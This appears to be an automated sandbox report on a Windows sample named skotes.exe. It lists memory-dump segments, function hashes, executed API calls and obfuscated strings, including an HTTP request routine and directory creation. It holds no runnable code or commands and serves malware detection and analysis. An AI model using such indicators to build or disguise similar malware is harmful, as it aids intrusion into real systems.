Associated: 00000003.00000002.2108689597.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108789438.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108823392.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108858080.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108889989.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108918769.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108956688.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2108987647.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109019719.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109051888.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109085504.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109123437.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109155151.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109175438.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109209168.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109228538.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109307172.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109335255.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109363506.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109392230.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109419702.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109450368.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2109478328.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: e1c45c9dc316a54ae35defc37cb427f3777ab067037c4f36381e4a8f1e2a877e
Instruction ID: 592f2f7214de587e357e006ea6b28f9e90db438ae3c0b7f788d8437b7c4a2a1a
Opcode Fuzzy Hash: e1c45c9dc316a54ae35defc37cb427f3777ab067037c4f36381e4a8f1e2a877e
Instruction Fuzzy Hash: E3213175A01119AFDF00EFA4DD81EBEBBB9EF08710F1000A5F501B7291DB309D059BA0

Analysis Process: skotes.exePID: 7764, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.8%
Total number of Nodes:	776
Total number of Limit Nodes:	65

Executed Functions

Function 00B8E530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MGE+, xrefs: 00B8E821
GnNoc2Hc, xrefs: 00B8E56C
111, xrefs: 00B8F7A0
9c9aa5, xrefs: 00B8FB8E
MQ==, xrefs: 00B8E592
UA==, xrefs: 00B8EB0F, 00B8ED56
WDw=, xrefs: 00B8F71D, 00B8F9FA
WTs=, xrefs: 00B905CA
#, xrefs: 00B90624
246122658369, xrefs: 00B8F737, 00B8FA14, 00B905E7, 00B9099A
WTw=, xrefs: 00B9097D

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: e933b62aebf1135b21135c6690e93154291abaecad46ba8dba64bbd76cd62154
Instruction ID: 03a8d73771007a802457f68f4a4feae2c04ae4530276a11dd8edcccb357d4ae1
Opcode Fuzzy Hash: e933b62aebf1135b21135c6690e93154291abaecad46ba8dba64bbd76cd62154
Instruction Fuzzy Hash: 1182E2709142889BEF14EF68C9897DE7FF5EB02304F5085D8E805673D2DB759A88CB92

Function 00BC2517 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00BD6758), ref: 00BC275C

Strings

Eastern Standard Time, xrefs: 00BC27CB
Eastern Summer Time, xrefs: 00BC27FA

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: ef526effd5898990bff06d08bba68a3b11eafec84533b7418b34b13149228c84
Instruction ID: e9829abb708494eb19179d6841f5ab4bf7d0936a21a6658bc84ddff62df83626
Opcode Fuzzy Hash: ef526effd5898990bff06d08bba68a3b11eafec84533b7418b34b13149228c84
Instruction Fuzzy Hash: 2FC10671A002459BDB249F78CC91FBE7BE9EF55350F1440EEE9909B251EB718E41C760

Function 00B8EB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8EB51
CreateDirectoryA.KERNEL32(00000000), ref: 00B8EC83
GetFileAttributesA.KERNEL32(00000000), ref: 00B8ED98

Strings

FisgLnsCZO1i, xrefs: 00B8FF19
UA==, xrefs: 00B8EC41, 00B8ED56, 00B8EF89, 00B8F2CE
#, xrefs: 00B90624
FCQgKF==, xrefs: 00B8FEE4
111, xrefs: 00B8F7A0
9c9aa5, xrefs: 00B8FB8E
stoi argument out of range, xrefs: 00B908C4
WDw=, xrefs: 00B8F71D, 00B8F9FA, 00B8FDE3
WTs=, xrefs: 00B905CA
mxo1L0x, xrefs: 00B8EE84
GiQaT29tduF=, xrefs: 00B8FEB6
invalid stoi argument, xrefs: 00B908B0
246122658369, xrefs: 00B8F737, 00B8FA14, 00B8FE00, 00B905E7

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: cf5cef80984f1429f8b495e6ddee65c14090bfd70d01bca0561f0150ea06a897
Instruction ID: db16977825e400d77c28e7bbb589827831d14c52ade4881c15727798c2ba470d
Opcode Fuzzy Hash: cf5cef80984f1429f8b495e6ddee65c14090bfd70d01bca0561f0150ea06a897
Instruction Fuzzy Hash: 0EF22C71A101489BEF18EB38CD8979D7BF29F46304F5482ECE409A73E6DB359A84CB51

Function 00B8BE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,27FDA369,?,00000000), ref: 00B8BEB8
InternetOpenW.WININET(00BD8DC8,00000000,00000000,00000000,00000000), ref: 00B8BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00B8BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 00B8BF35
HttpSendRequestA.WININET(?,00000000), ref: 00B8BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00B8C0A7
InternetCloseHandle.WININET(?), ref: 00B8C187
InternetCloseHandle.WININET(?), ref: 00B8C18F
InternetCloseHandle.WININET(?), ref: 00B8C197

Strings

8HJUeIfzLo==, xrefs: 00B8C3CB, 00B8C623
RE1NXF==, xrefs: 00B8BF0E
8HJUeMD Lq5=, xrefs: 00B8C465
stoi argument out of range, xrefs: 00B8E4EA
invalid stoi argument, xrefs: 00B8E4F4

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: c3b95ee9fb0746efa2222e4c0031231f8b350f1fcb8335273937c38ce1ade63d
Instruction ID: 31ec57d3f9e3ecbcedda349be0975a7c34580da702e9515d5d4ed419848b28ae
